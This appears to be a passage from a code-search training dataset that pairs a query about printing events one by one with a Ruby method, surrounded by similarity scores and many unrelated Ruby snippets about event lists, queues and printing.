"def succeeded(event)\n @succeeded_events.push(event)\n end",
"def create_events\n end",
"def next_event\n @events_mutex.synchronize do\n @events.shift\n end\n end",
"def on(event, &block)\n if block_given?\n if (@@valid_events.include? event)\n define_singleton_method(event, block)\n else\n puts \"Error: trying to assign invalid event | Letteropend::List, event: #{event}\"\n end\n end\n end",
"def add list\n add = @watch.objects.find { |obj| obj.name == \"add\" }\n\n obix = OBIX::Builder.new do |obix|\n obix.obj is: \"obix:WatchIn\" do |obix|\n obix.list name: \"hrefs\" do |obix|\n list.each do |item|\n obix.uri val: item\n end\n end\n end\n end\n\n add.invoke obix.object\n end",
"def add_item(item)\n\t\t#takes in item and adds to list\n\t\t@list << item\n\tend",
"def add_item item\n @items << item\n @@all_items << item\n end",
"def post(ev)\n\t\t@queue << ev\n\tend",
"def append_event(name, output, status, source)\n log.info(\n \"[#{status}] check: '#{name}', output: '#{output}', source: '#{source}'\"\n )\n\n # let source-nodename mapping avialable\n @source_nodename_map = source_nodename_map \\\n if @source_nodename_map.nil?\n\n # translating node_exporter hostname into nodename plus domain\n nodename = @source_nodename_map[source] || source\n address = \"#{nodename}.#{@config['config']['domain']}\"\n\n @events << {\n 'address' => sensu_safe(address),\n 'name' => sensu_safe(name),\n 'occurrences' => @config['config']['occurrences'] || 1,\n 'output' => output,\n 'reported_by' => @config['config']['reported_by'],\n 'status' => status,\n 'source' => sensu_safe(nodename)\n }\n end",
"def event=(event)\n events = event.split(\",\")\n @events = @events.nil? ? events : @events + events\n @events.flatten!\n end",
"def each_new_event\n new_events = []\n stack.events.each do |event|\n break if event.id == @last_processed_event_id\n\n new_events.unshift(event)\n end\n new_events.each do |event|\n yield event\n @last_processed_event_id = event.id\n end\n rescue Aws::CloudFormation::Errors::ValidationError => _e\n end",
"def merge(event_list)\n\t@events = merge_event_lists(@events, event_list)\n end",
"def failed(event)\n @mutex.synchronize do\n failed_events << event\n all_events << event\n end\n end",
"def create\n #debugger\n @event = Event.new(params[:event])\n @event.owner = current_user.id\n #@event.update_attribute(:owner,@current_user.id)\n @current_user.events << @event\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render json: @event, status: :created, location: @event }\n else\n format.html { render action: \"new\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_event_menu\n clear\n center \"Add Event\"\n new_line\n puts \"Looks like you'd like to add an event! Let's get started...\"\n add_event_attributes\n if @event[:title].length > 0 && @event[:description].length > 0\n add_event_from_input\n else\n new_line\n puts \"Sorry, that didn't quite work...\"\n wait_and_clear\n end\n clear_inputs\n end",
"def add_event(type, who, message)\n ev = ng_xml.create_element \"event\", message, \n :type => type, :who => who, :when => Time.now.xmlschema\n ng_xml.root.add_child(ev)\n content_will_change!\n end",
"def add list\n list_action list, \"add\"\n end",
"def add(task)\n @list << task\n end",
"def event *names, &blk\n names.each do |name|\n Bot::Events.create name, self, nil, &blk\n end\n end",
"def event(name, &block)\n add_event name, &block\n end",
"def event(method, path, options = {}, &b)\n @app.events[method].push(Event.new(path, options, &b)).last\n end",
"def event_all_new(events)\n raise NotImplementedError\n end",
"def event_added(event, first, first_for_event)\n @persistor.event_added(event, first, first_for_event) if @persistor\n end",
"def on_add(clicker)\n end"
] | [
"0.77535295",
"0.7713343",
"0.7484306",
"0.7373104",
"0.73165375",
"0.71663284",
"0.7020312",
"0.7010055",
"0.69903207",
"0.69689035",
"0.6899304",
"0.6890351",
"0.68839157",
"0.68167365",
"0.67840266",
"0.67667526",
"0.67644536",
"0.67023915",
"0.6662739",
"0.66297203",
"0.65970767",
"0.6584637",
"0.65055925",
"0.6463357",
"0.6462003",
"0.6456053",
"0.6442099",
"0.64359367",
"0.6402369",
"0.6400059",
"0.63931966",
"0.63725394",
"0.63018435",
"0.6283336",
"0.62385666",
"0.62074333",
"0.6189774",
"0.6167476",
"0.61644876",
"0.6161849",
"0.615127",
"0.6140661",
"0.6136568",
"0.61364806",
"0.6126268",
"0.6088825",
"0.6032092",
"0.6008097",
"0.5915317",
"0.58873004",
"0.58708465",
"0.5856253",
"0.5840681",
"0.5832545",
"0.58033466",
"0.57630527",
"0.57587236",
"0.5756553",
"0.5754764",
"0.57533455",
"0.5749504",
"0.5722606",
"0.5711095",
"0.5701487",
"0.5694216",
"0.5688769",
"0.56836766",
"0.56704575",
"0.5668763",
"0.5664821",
"0.5662781",
"0.5659369",
"0.56368715",
"0.56322956",
"0.5618431",
"0.561636",
"0.56122726",
"0.5601329",
"0.56012744",
"0.55975705",
"0.5597141",
"0.55922854",
"0.5586886",
"0.5585789",
"0.55770594",
"0.5563481",
"0.5559561",
"0.5559097",
"0.5559004",
"0.5550598",
"0.55472255",
"0.5542182",
"0.5533013",
"0.5527162",
"0.55220056",
"0.5518261",
"0.5505408",
"0.54969907",
"0.54912335",
"0.5483037"
] | 0.90519327 | 0 |
Get the list of Events object | def trace_list
my_list = []
(0...@list_of_events.length).each do |x|
temp = @list_of_events[x]
my_list << temp.trace
end
my_list
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def event_list\n @_events\n end",
"def events\n @events ||= []\n @events\n end",
"def event_list\n events_list\n end",
"def events\n return @events\n end",
"def get_events\n Resources::Event.parse(request(:get, \"Events\"))\n end",
"def events\n response = self.class.get('/v1/events.json')\n response.code == 200 ? JSON.parse(response.body) : nil\n end",
"def events\n data.events\n end",
"def events\n Enumerator.new(self,:each_event).to_a\n end",
"def events\n @finity.events.map { |name, _| name }\n end",
"def events\n collection(\"events\")\n end",
"def events\n event_lookup()\n end",
"def events\n event_lookup()\n end",
"def events\n data[\"events\"]\n end",
"def events\n @events = registered_application.events.group_by(&:name)\n end",
"def all_events\n @events = Event.all\n end",
"def events\n\t\t\t\treturn @events.values unless (@events.nil?)\n\t\t\t\treturn nil\n\t\t\tend",
"def events\n self.class.events\n end",
"def events\n @@events\n end",
"def events\n event_enum\n end",
"def events\n event_enum\n end",
"def get_events()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events\"))[0]\n end",
"def events\n @events ||= event_finder\n end",
"def events\n @events ||= {}\n end",
"def list_events(criteria = {})\n events(criteria: criteria)\n end",
"def owned_events\n events\n end",
"def events\n object.events.last(10)\n end",
"def available_events\n\t\treturn current_room.events || []\n\tend",
"def all(params = {})\n req = WebPay::EventListRequest.create(params)\n raw_response = @client._request(:get, 'events', req)\n WebPay::EventResponseList.new(raw_response)\n end",
"def get_events()\n\t\tevents = []\n\n\t\t@DB[:events].order(:date).each do |event|\n\t\t\tnewTimeslots = []\n\t\t\t@DB[:timeslots].where(parent_table: 'events', parent_id: event[:'id']).each do |timeslot|\n\t\t\t\tnewTimeslots.push(DateTime.parse(timeslot[:'time']))\n\t\t\tend\n\n\t\t\tnewAttendees = []\n\t\t\t@DB[:attendees].where(parent_id: event[:'id']).each do |attendee|\n\t\t\t\tattendeeTimeslots = []\n\t\t\t\t@DB[:timeslots].where(parent_table: 'attendees', parent_id: attendee[:'id']).each do |timeslot|\n\t\t\t\t\tattendeeTimeslots.push(DateTime.parse(timeslot[:'time']))\n\t\t\t\tend\n\n\t\t\t\tnewAttendee = Attendee.new(attendee[:'name'], attendeeTimeslots)\n\t\t\t\tnewAttendees.push(newAttendee)\n\t\t\tend\n\n\t\t\tnewEvent = Event.new(event[:'name'], event[:'description'], newTimeslots, newAttendees, event[:'id'])\n\t\t\tif newEvent.get_date >= @epoch\n\t\t\t\tevents.push(newEvent)\n\t\t\tend\n\t\tend\n\n\t\treturn events\n\tend",
"def events\n results = @client.execute(\n :api_method => @calendar.events.list,\n :authenticated => false,\n :parameters => {\n 'calendarId' => @config[:calendar_id],\n 'fields' => 'items(start,end,summary)',\n 'singleEvents' => true,\n 'orderBy' => 'startTime',\n 'timeMin' => DateTime.now.to_s,\n 'timeMax' => (DateTime.now + 7).to_s,\n 'q' => 'LIVE'\n }\n )\n\n results.data.items.map do |event|\n summary = event.summary.gsub(/^LIVE:\\s+/, '')\n CalendarEvent.new(summary, event.start.date_time, event.end.date_time)\n end\n end",
"def all_events\n events.keys\n end",
"def events #:nodoc:\n components Icalendar::Vevent\n end",
"def events\n @events ||= Array(context[:events]).reverse.map { |event| Concierge::SafeAccessHash.new(event) }\n end",
"def show_events\n @events = Event.order(\"created_at\").to_a\n end",
"def events\n @events ||= RubyEvents::Events.new(self)\n end",
"def events\n # FIXME this logic belongs in the Event model. stop leaking AR outside of the model\n @events ||= Event.includes(:upcoming_observances).where(\"observances.start_on >= ?\", Date.current).references(:observances)\n end",
"def get_events\n response = request(:get, \"/devmgr/v2/events\")\n #status(response, 200, 'Failed to get current events from server')\n #JSON.parse(response.body)\n response\n end",
"def all_events\n event_types.map { |etype| events(etype) }\n end",
"def events\n results = @cal_service.list_events(\n @calendar_id,\n order_by: 'startTime',\n q: 'LIVE',\n single_events: true,\n time_max: (DateTime.now + 7).to_s,\n time_min: DateTime.now.to_s,\n fields: 'items(start,end,summary)',\n )\n\n results.data.items.map do |event|\n summary = event.summary.gsub(/^LIVE:\\s+/, '')\n CalendarEvent.new(summary, event.start.date_time, event.end.date_time)\n end\n end",
"def fetch_events\n params = {'calendarId' => CONFIG[:cal_id], \n 'orderBy' => 'startTime',\n #'timeMax' => Time.utc(CONFIG[:year].to_i + 1, 4, 1).iso8601, \n #'timeMin' => Time.utc(CONFIG[:year].to_i, 4, 1).iso8601,\n 'singleEvents' => 'True'}\n \n result = @client.execute(:api_method => @cal.events.list, :parameters => params)\n\n @events_list = []\n result.data.items.each do |item|\n @events_list << item\n end\n end",
"def listOfEvents\r\n puts (@BetESS.fDisplayEvents)\r\n end",
"def events\n @_events ||= self.class.events.dup\n end",
"def events\n @events ||= Schedule.new\n end",
"def events\n return if @events.empty?\n @events.uniq.sort\n end",
"def events\n @events ||= LIFECYCLE_EVENTS.each_with_object({}) { |e, a| a[e] = [] }\n end",
"def events(options = {})\n GeoCerts::Event.find_by_order_id(self.id, options)\n end",
"def list_of_events\n @events = Event.find(:all)\n @report_name = \"List of Events\"\n end",
"def events\n @events ||= parsed_json.map do |json_record|\n VoyagerUpdater::Event.new(json_record)\n end\n end",
"def events\n lfm_path = \"artist.getevents&artist=#{@name}\"\n lfm_data = LastFm::fetch_data(lfm_path)\n return Event.create_from_hash(Hash.from_xml(lfm_data)['lfm']['events']['event']) \n end",
"def events\n subcomponents[\"VEVENT\"]\n end",
"def upcoming_events(order_by: self.class::START_OLDEST_FIRST,\n status: self.class::ALL)\n EventbriteSDK::ResourceList.new(\n url_base: \"#{path}/events\",\n object_class: EventbriteSDK::Event,\n key: 'events',\n query: {\n order_by: order_by,\n status: status\n }\n )\n end",
"def events\n metadata['events'].sort_by! { |event| event['timestamp'] }\n end",
"def events\n Vedeu::Events.registered\n end",
"def events\n @events ||= user_events.concat(org_events).uniq\n end",
"def events(iam_role_arn)\n get_item_response = @dynamo.get_item(\n key: {\n 'RoleArn' => iam_role_arn\n },\n table_name: @table_name\n )\n return [] unless get_item_response['item']\n get_item_response['item']['Events']\n end",
"def events_list(opts = {})\n data, _status_code, _headers = events_list_with_http_info(opts)\n data\n end",
"def index\n\t\t@events = Event.all\n\tend",
"def index\n\t\t@events = Event.all\n\tend",
"def events\n RoyalEvent::Event.where(\n \"id IN (#{subquery.to_sql})\"\n ).order(default_order)\n end",
"def my_events\n @events = []\n Event.all.each do |event|\n if (event.creator == current_user.id)\n @events << event\n end\n end\n end",
"def events(service, url, args)\n events = []\n ret = service.send_request(GData4Ruby::Request.new(:get, url, nil, nil, args))\n REXML::Document.new(ret.body).root.elements.each(\"entry\"){}.map do |entry|\n entry = GData4Ruby::Utils.add_namespaces(entry)\n e = GCal4Ruby::Event.new(service)\n if e.load(entry.to_s)\n events << e\n end\n end\n return events\nend",
"def model_events\n [state_events].flatten\n end",
"def events(params={})\n return Proxy.new(connection, \"./events\",params)\n end",
"def index\n @events = Events::Event.all\n end",
"def found_events\n @mood.events\n end",
"def available_events\n events = permitted_events\n if respond_to?(:sort_available_events)\n events = sort_available_events(events)\n end\n events\n end",
"def get_events\n # events created by this user\n @my_events = User.find(current_user.id).event_attendants.where('owner = 1')\n\n # events this user has joined\n @joined_events = User.find(current_user.id).event_attendants.where('attendee_status = 3 and owner IS NULL')\n \n # events this user is invited to\n @invited_to_events = User.find(current_user.id).event_attendants.where('attendee_status = 0')\n\n @maybe_events = User.find(current_user.id).event_attendants.where('attendee_status = 2')\n end",
"def get_events\n @doc.css(\"#cal-event-entry\")\n end",
"def events\n collection = Miasma::Models::Orchestration::Stack::Events.new(self)\n collection.define_singleton_method(:perform_population) { [] }\n collection\n end",
"def index\n @events = eager_event.all\n end",
"def all\n ButterSand::Parser.to_array(get(PATH_SAIJI)).map {|event| ButterSand::Event.new(event)}\n end",
"def events(*events)\n @events ||= nil\n @events = events if events.present?\n @events\n end",
"def get_events\n events = [] \n @log ||= Rails.logger\n Appsterdam::Application.ical_subscriptions.each do |options|\n @log.info \"getting events from #{options[:url]}\"\n components = parse_ical(options[:url])\n events.concat(extract_events(components.first))\n end\n @log.info \"done importing iCal events.\"\n \n events\n end",
"def events\n events = {}\n @db.each do |key, _|\n timestamp, object = parse_event(key)\n events[object] ||= []\n events[object].push(timestamp)\n end\n events\n end",
"def user_events\n @user_events ||= users.map { |u| u.events }.flatten\n end",
"def events\n events = []\n now = Time.now\n @countdowns.times.each do |id, show_time|\n # Prevents extra refreshes\n latest_time = show_time.latest\n events << CalendarEvent.new(\n Shows.find_show(id.to_s).title,\n latest_time,\n latest_time + (60*60*3)\n ) unless (latest_time - now) > (60*60*24*7)\n end\n events.sort! {|a,b| a.start_time <=> b.start_time}\n end",
"def event_list\n Thread.current[:chef_client_event_list] ||= []\n end",
"def default_events()\n return @events\n end",
"def org_events\n @org_events ||= orgs.map { |o| o.events }.flatten\n end",
"def events_list\n list = []\n if frm.table(:class=>\"calendar\").exist?\n events_table = frm.table(:class=>\"calendar\")\n else\n events_table = frm.table(:class=>\"listHier lines nolines\")\n end\n events_table.links.each do |link|\n list << link.title\n list << link.text\n list << link.href\n list << link.html[/(?<=\"location=\").+doDescription/]\n end\n list.compact!\n list.uniq!\n return list\n end",
"def events\r\n\tif session[\"fb_access_token\"].present?\r\n\t\t@graph = Koala::Facebook::API.new(session[\"fb_access_token\"])\r\n\t\t@string = @graph.get_connections(\"me\", \"events\")\r\n\t\t#@events.class\r\n\t\t#@events.first\r\n\tend\r\nend",
"def fetch\n @start_time ||= (Time.current - 1.minute).to_i * 1000\n $mw_log.debug \"Catching Events since [#{@start_time}]\"\n\n new_events = @alerts_client.list_events(\"startTime\" => @start_time, \"tags\" => \"miq.event_type|*\", \"thin\" => true)\n @start_time = new_events.max_by(&:ctime).ctime + 1 unless new_events.empty? # add 1 ms to avoid dups with GTE filter\n new_events\n rescue => err\n $mw_log.info \"Error capturing events #{err}\"\n []\n end",
"def load_events\n\t\t\t\treturn @data['events'].map do |eventstr, eventdata|\n\t\t\t\t\tevent = eventstr.to_sym\n\t\t\t\t\tif (Events.constants.include? event)\n\t\t\t\t\t\tnext [event, Events.const_get(event).new(eventdata)]\n\t\t\t\t\telse\n\t\t\t\t\t\t## Event doesn't exist, display warning\n\t\t\t\t\t\tinstance_type = get_instance_type_classname\n\t\t\t\t\t\tclassname = get_classname\n\t\t\t\t\t\tlog \"WARNING: #{instance_type} '#{classname}' tried to load Event '#{eventstr}' which doesn't exist.\"\n\t\t\t\t\t\tnext nil\n\t\t\t\t\tend\n\t\t\t\tend .reject { |x| !x } .to_h if (@data['events'])\n\t\t\tend",
"def events\n requires :label, :application_name\n service.events.all({\n 'ApplicationName' => application_name,\n 'VersionLabel' => label\n })\n end",
"def index\n @session_events = SessionEvent.all\n end",
"def index\n @event_events = Event::Event.all\n @aproved_events = Event::Event.aproved_events\n @unaproved_events = Event::Event.unaproved_events\n end",
"def get_event_list ( year )\n get_api_resource \"#{@@api_base_url}events/#{year}\"\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end",
"def index\n @events = Event.all\n end"
] | [
"0.8797734",
"0.8574594",
"0.83244395",
"0.82105964",
"0.818586",
"0.80787486",
"0.8015265",
"0.7917265",
"0.7876332",
"0.78195477",
"0.78087556",
"0.78087556",
"0.7794356",
"0.7719211",
"0.7708861",
"0.76996416",
"0.76966906",
"0.7693073",
"0.7684366",
"0.7684366",
"0.76467884",
"0.7586865",
"0.7586423",
"0.7531688",
"0.752238",
"0.7493082",
"0.74912375",
"0.74472505",
"0.742648",
"0.7346782",
"0.7317959",
"0.7316117",
"0.7315988",
"0.72886586",
"0.7275658",
"0.7245336",
"0.7239135",
"0.7226835",
"0.7196649",
"0.71571213",
"0.7140071",
"0.71327686",
"0.71205205",
"0.70974135",
"0.7096256",
"0.7088563",
"0.7079932",
"0.7073716",
"0.7070245",
"0.70219076",
"0.6991757",
"0.69883734",
"0.69816583",
"0.6976077",
"0.69723374",
"0.69617367",
"0.6961231",
"0.6961231",
"0.6932039",
"0.69178444",
"0.6882911",
"0.6874793",
"0.6867457",
"0.6859785",
"0.68531317",
"0.6838172",
"0.68323755",
"0.6822239",
"0.6819417",
"0.68134534",
"0.6803695",
"0.67808104",
"0.6780451",
"0.67668384",
"0.6765655",
"0.6754086",
"0.6753122",
"0.6753114",
"0.6750874",
"0.6738188",
"0.6737053",
"0.67291415",
"0.67263347",
"0.67256856",
"0.6725082",
"0.6718456",
"0.67117894",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843",
"0.67058843"
] | 0.0 | -1 |
Prints the events one by one | def print_events
if @filtered_events.length.zero?
puts 'List of events is empty'
else
(0..@filtered_events.length).each do |x|
temp_event = @filtered_events[x]
puts temp_event.trace
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def print_events(events)\n events.each do |name, description|\n puts \"Event: #{name}\"\n puts \"Description: #{description} \\n\\n\"\n end\n end",
"def print_event\n clear\n @talks.sort_by {|task| task.start_time }.each do |t|\n puts \"#{t.start_time.strftime(\"%I:%M%p\").delete_prefix(\"0\").downcase} - #{t.end_time.strftime(\"%I:%M%p\").delete_prefix(\"0\").downcase}\"\n puts \" #{t.name} presented by #{t.speaker.name}\"\n end\n puts\n end",
"def show_events\n @event_list.each do |restaurant, diners|\n print restaurant, diners\n end\n @event_list\n end",
"def print_events(status)\n return unless events = status.events.presence\n @output.puts \"\\n#{resource_identifier(status)} events:\"\n\n groups = events.group_by { |e| [e[:type], e[:reason], (e[:message] || \"\").split(\"\\n\").sort] }\n groups.each do |_, event_group|\n count = sum_event_group(event_group)\n counter = \" x#{count}\" if count != 1\n e = event_group.first\n @output.puts \" #{e[:type]} #{e[:reason]}: #{e[:message]}#{counter}\"\n end\n end",
"def print_all_events\n return NO_EVENTS_IN_CALENDAR unless events?\n\n @calendar_events.each do |date, events|\n puts \"On date #{date}:\"\n print_events(events)\n end\n end",
"def listOfEvents\r\n puts (@BetESS.fDisplayEvents)\r\n end",
"def displayEvents\n events = self.getAllEvents\n s = \"List of events\\n\\n\"\n events.each do |sportname, sport|\n s << \"\\t\\t\" << sportname << \"\\n\"\n sport.each do |eventID, event|\n s << event.toString << \"---\\n\"\n end\n end\n s\n end",
"def run events\n events.each do |event| \n interprete event\n end\n# return\n puts \"Statistics:\"\n @counts.each do |k,v|\n puts \"#{k.inspect} =>\"\n i = 0\n step = 6\n while i < v.size\n puts \"\\t#{v[i,step]}\"\n i += step\n end\n end\n end",
"def show_events(final=false)\n if @last_shown_event_id.nil?\n i = find_index(:start)\n print_events(i)\n else\n i = find_index(:last_shown)\n # puts \"last_shown index #{i}\"\n print_events(i-1) unless i == 0\n end\n\n return if final\n sleep 5 unless ENV['TEST']\n refresh_events\n end",
"def list_events\n puts \"Here are the most recent events at the Cuyahoga County Public Library:\"\n all_events = Trendster::Event.all\n all_events.each do |event|\n puts \"#{all_events.index(event) + 1}. #{event.name}\"\n end\n end",
"def print_pod_events(pod)\n @output.puts \"POD EVENTS:\"\n print_events(pod.events)\n end",
"def stdout(event) ; $stdout.puts event ; $stdout.flush ; end",
"def print(io)\n tree.each_with_index do |(command, event_called_handlerss), index|\n io.puts '+++++++++++++++++++++++++++++++++++' if index == 0\n io.puts \"Command: #{command.class} resulted in #{event_called_handlerss.length} events\"\n event_called_handlerss.each_with_index do |event_called_handlers, i|\n io.puts '' if i > 0\n io.puts \"-- Event #{event_called_handlers.event.class} was handled by:\"\n io.puts \"-- Projectors: [#{event_called_handlers.projectors.join(', ')}]\"\n io.puts \"-- Workflows: [#{event_called_handlers.workflows.join(', ')}]\"\n end\n\n io.puts '+++++++++++++++++++++++++++++++++++'\n end\n end",
"def activity_output(obs)\n Thread.start do\n obs.each do |event, tuple|\n puts \"#{event} #{tuple[1]} #{tuple[3]} URI: #{tuple[2].__drburi} ref: #{tuple[2].__drbref}\"\n end\n end\n end",
"def display_events(array)\n array.each do |entry|\n #binding.pry\n puts \"Event: \" + entry.title #hashies let you call keys with a .\n paragraph(entry.description) #hashies let you call keys with a .\n puts \"\"\n puts \"(press Enter to continue or 1 to finish)\"\n gets.to_i == 1 ? break : entry #entry is meaningless here, it just continues the loop.\n end\n h_line\nend",
"def list\n puts \"Events for Tech:\"\n puts \"\"\n TechCliApp::Tech.all.each.with_index(1) do |tech, i|\n puts \"#{i}. #{tech.title}\"\n end\n end",
"def show_events_on_date(date)\n return nil unless events_at?(date)\n\n events = @calendar_events[date]\n puts 'You have following events on this date:'\n print_events(events)\n events\n end",
"def print_events_on_date(date)\n return NO_EVENTS_IN_CALENDAR unless events?\n return NO_EVENTS_AT_DATE unless events_at?(date)\n\n events = @calendar_events[date]\n puts \"Your events on #{date}\"\n print_events(events)\n end",
"def print_event(printer, event)\n $stdout.puts printer.call(event)\nend",
"def printall\n $page.css('.oneRes').each do |play|\n puts \"#{play.css('.eventTitle').text}---#{play.css('.detail li a')[0].text}\"\n end\nend",
"def showAll()\n\t\tlogs = @log.sort\n\t\tputs \"******************LOG****************OLD\\n\"\n\t\tlogs.each { |date,item| printDate(date)\t} \n\t\tputs \"******************LOG END************NEW\\n\"\n\n\tend",
"def showAll\n @logHash.each do |date, items|\n puts \"#{date}\"\n items.each do |item|\n puts \" #{item.name}\"\n end\n end\n end",
"def list_events(events, question)\n\n clear_screen\n\n events_hash = events.map.with_index(1) do |event|\n {name: event.name, value: event}\n end\n\n @prompt.select(question, events_hash, per_page: 20)\n\n end",
"def print_event_yml()\n # Parse the event container <aside><div><p>...</p></div></aside>\n # to get the orga dates and names\n allevents = fetch_html()\n allevents.xpath('//aside//div//p').each do |events_chunk|\n\n # # Split array in cohensive elements at once\n # elements = events_chunk.content.split(/\\,\\ |\\.\\ |\\n/)\n\n # # Puts warning\n # elements_yml = \"# Do not edit this list manually, it will be overwritten\\n\"\n # elements_yml = elements_yml + \"# in a couple of hours anyway!\\n\\n\"\n\n # elements_yml = elements_yml + \"events:\\n\"\n # i = 0\n\n # until i >= elements.length do\n # if i != nil and elements[i +3] != nil then\n # # Puts all event names out of elements\n # elements_yml = elements_yml + \" - name: \\\"\" + elements[i + 3] + \"\\\"\\n\"\n # end\n # if i != nil then\n # # Puts all event dates out of elements\n # puts elements[i + 2] + \":\" + elements[i + 1]\n # begin\n # elements_yml = elements_yml + Date.new(2018,elements[i + 2].to_i,elements[i + 1].to_i).strftime(\" date: \\\"%b %d, %Y\\\"\\n\")\n # rescue ArgumentError\n # end\n # end\n # if i != nil then\n # # Puts all event background colors\n # elements_yml = elements_yml + \" background: \\\"\" + gen_color() + \"\\\"\\n\"\n # end\n # i += 4;\n # end\n # return elements_yml\n end\nend",
"def display_info(event)\n\n event.print_event_information\n\n open_in_browser(event)\n\n end",
"def to_txt(events = self.events)\n # Create empty string\n txt = +''\n\n events.each do |event|\n # Add event to string\n txt << \"#{event.name} - #{event.location}\\n\"\\\n \"#{event.start_date.strftime('%d.%m.%Y %H:%M')} Uhr\"\\\n \" - #{event.end_date.strftime('%d.%m.%Y %H:%M')} Uhr\"\n\n # Adding two empty lines when current event is not the last one\n txt << \"\\n\\n\" unless events.last.name == event.name\n end\n\n txt\n end",
"def show\n @tasks.each do |project_name, project_tasks|\n @output.puts project_name\n project_tasks.each do |task|\n @output.printf(\" [%c] %d: %s : %s \\n\", (task.done? ? 'x' : ' '), task.id, task.description, task.deadline)\n end\n @output.puts\n end\n end",
"def each(&block)\n events.each(&block)\n end",
"def print\n added .sort.each { |pod| UI.message('A'.green + \" #{pod}\", '', 2) }\n deleted .sort.each { |pod| UI.message('R'.red + \" #{pod}\", '', 2) }\n changed .sort.each { |pod| UI.message('M'.yellow + \" #{pod}\", '', 2) }\n unchanged.sort.each { |pod| UI.message('-' + \" #{pod}\", '', 2) }\n end",
"def list_of_events\n @events = Event.find(:all)\n @report_name = \"List of Events\"\n end",
"def results\n @results ||= registered_events.map do |event|\n Vedeu.outdent do\n Vedeu.log(type: :event, message: message)\n\n Vedeu.indent do\n event.trigger(*args)\n end\n end\n end\n end",
"def viewAllEvents\n str = String.new \n EventCatalogue.instance.getAllEvents.each do |event| \n str += event.to_s + \"|\" \n end \n\n return str \n end",
"def events\n end",
"def display_events_by_city(events_array)\n if events_array.length == 0\n puts \"Sorry, your search returned no results. Try again.\"\n present_menu_options\n end\n events_array.each_with_index do |event, index|\n puts (index+1).to_s + '.' \n line\n name = event[\"name\"] || 'nil'\n date = event[\"dates\"][\"start\"][\"localDate\"] || 'nil'\n url = event[\"url\"] || 'nil'\n puts \"Name: #{name}\\nDate: #{date}\\nURL: #{url}\\n\"\n if Event.find_by(event_type: url) == nil\n $event = create_event(name, date , url)\n end \n line\n space(2)\n end\n click?\nend",
"def get_events(trace: false, &block)\n r = dropbox_query(query: '2/team_log/get_events', trace: trace)\n r['events'].each(&block)\n while r['has_more']\n r = dropbox_query(query: '2/team_log/get_events/continue', query_data: \"{\\\"cursor\\\":\\\"#{r['cursor']}\\\"}\", trace: trace)\n r['events'].each(&block)\n end\n end",
"def show\n @events = fetch_events\n end",
"def index\n @h1_title = 'Les propositions à venir'\n @events = Event.next_events\n end",
"def default_printer\n lambda do |event|\n \"#{event[:date]}\\t#{event[:text]}\"\n end\nend",
"def showAll()\n dates = []\n @log.each_key do |date|\n dates += [date]\n end\n dates.sort!\n dates.each do |date|\n puts @log[date][0].to_s()\n @log[date].each do |item|\n puts \" \" + item.name\n end\n end\n end",
"def command_showAll\n entries = @log.get_entries()\n entries.each { |i|\n puts i.to_s\n }\n end",
"def print_podcast_list\n \tPodcast.all.each.with_index(1) do |podcast, i|\n \t\tputs \"#{i}. #{podcast.title} - #{podcast.host}\"\n \t\tsleep(0.2)\n \tend\n end",
"def show\n @sorted_events = @speaker.get_sorted_events\n end",
"def get_events\n ConsoleDisplay.events_to_command\n end",
"def print_tracks tracks\r\n\tindex = 0\r\n\ttimes = tracks.length\r\n\twhile (index < times)\r\n\t\tputs tracks[index].name\r\n\t\tputs tracks[index].location\r\n\t\tindex += 1\r\n\tend\r\nend",
"def print_body(day2, k)\n print \"|\"\n count_events = @ary_event.count do |event|\n event.start_date.day == day2\n end\n if count_events == 1\n ary_time_and_name = convert_time_and_name(@ary_event.find{ |event| event.start_date.day == day2})\n temp_str = ary_time_and_name[k]\n if temp_str.nil? == false\n print temp_str + \" \" * (9 - temp_str.length)\n else\n print \" \" * 9\n end\n elsif count_events >= 2 && k <= 1\n if k == 0\n print count_events.to_s + \" events \"\n else\n print \"scheduled\"\n end\n else\n print \" \" * 9\n end\n end",
"def print\n @event = Event.find_by_key(params[:id])\n end",
"def index\n\t\t@events = Event.all\n\t\t# render text: @events.map { |i| \"#{i.russian}: --- #{i.greek} --- #{i.latin} --- #{i.english} --- #{i.french} --- #{i.german} --- #{i.dutch} --- #{i.spanish} --- #{i.italian} --- #{i.hungarian} --- #{i.croatian} \" }.join(\"<br/>\" )\n\tend",
"def random_event\n clear\n center \"Random Event\"\n new_line\n display_event(Event.all.sample)\n wait_and_clear\n end",
"def print_events_of_month(month)\n return NO_EVENTS_IN_CALENDAR unless events?\n\n puts \"The events of #{MONTHS[month]}\"\n @calendar_events.each do |date, events_hash|\n next if date.month != month\n print_events(events_hash)\n end\n end",
"def listOfSubscribedEvents (bookieEmail)\r\n events = @BetESS.fMapOfAllEvents\r\n subscribedEvents = @BetESS.fGetSubscribedEventsFrom(bookieEmail)\r\n\r\n puts \"\\t\\tSubscribed Events:\"\r\n subscribedEvents.each {|eventID| puts \"#{events[eventID].toString}------\"}\r\n puts \"########\"\r\n end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def events; end",
"def print_s1\n stories.each do |story|\n show_new_story_notification(story[:title], story[:category], story[:upvotes])\n end\nend",
"def each(&block)\n sorted_events.each do |event|\n yield event\n end\n end",
"def draw_day_events(date, events)\n events.select { |e| e.start_time.to_date == date }\n end",
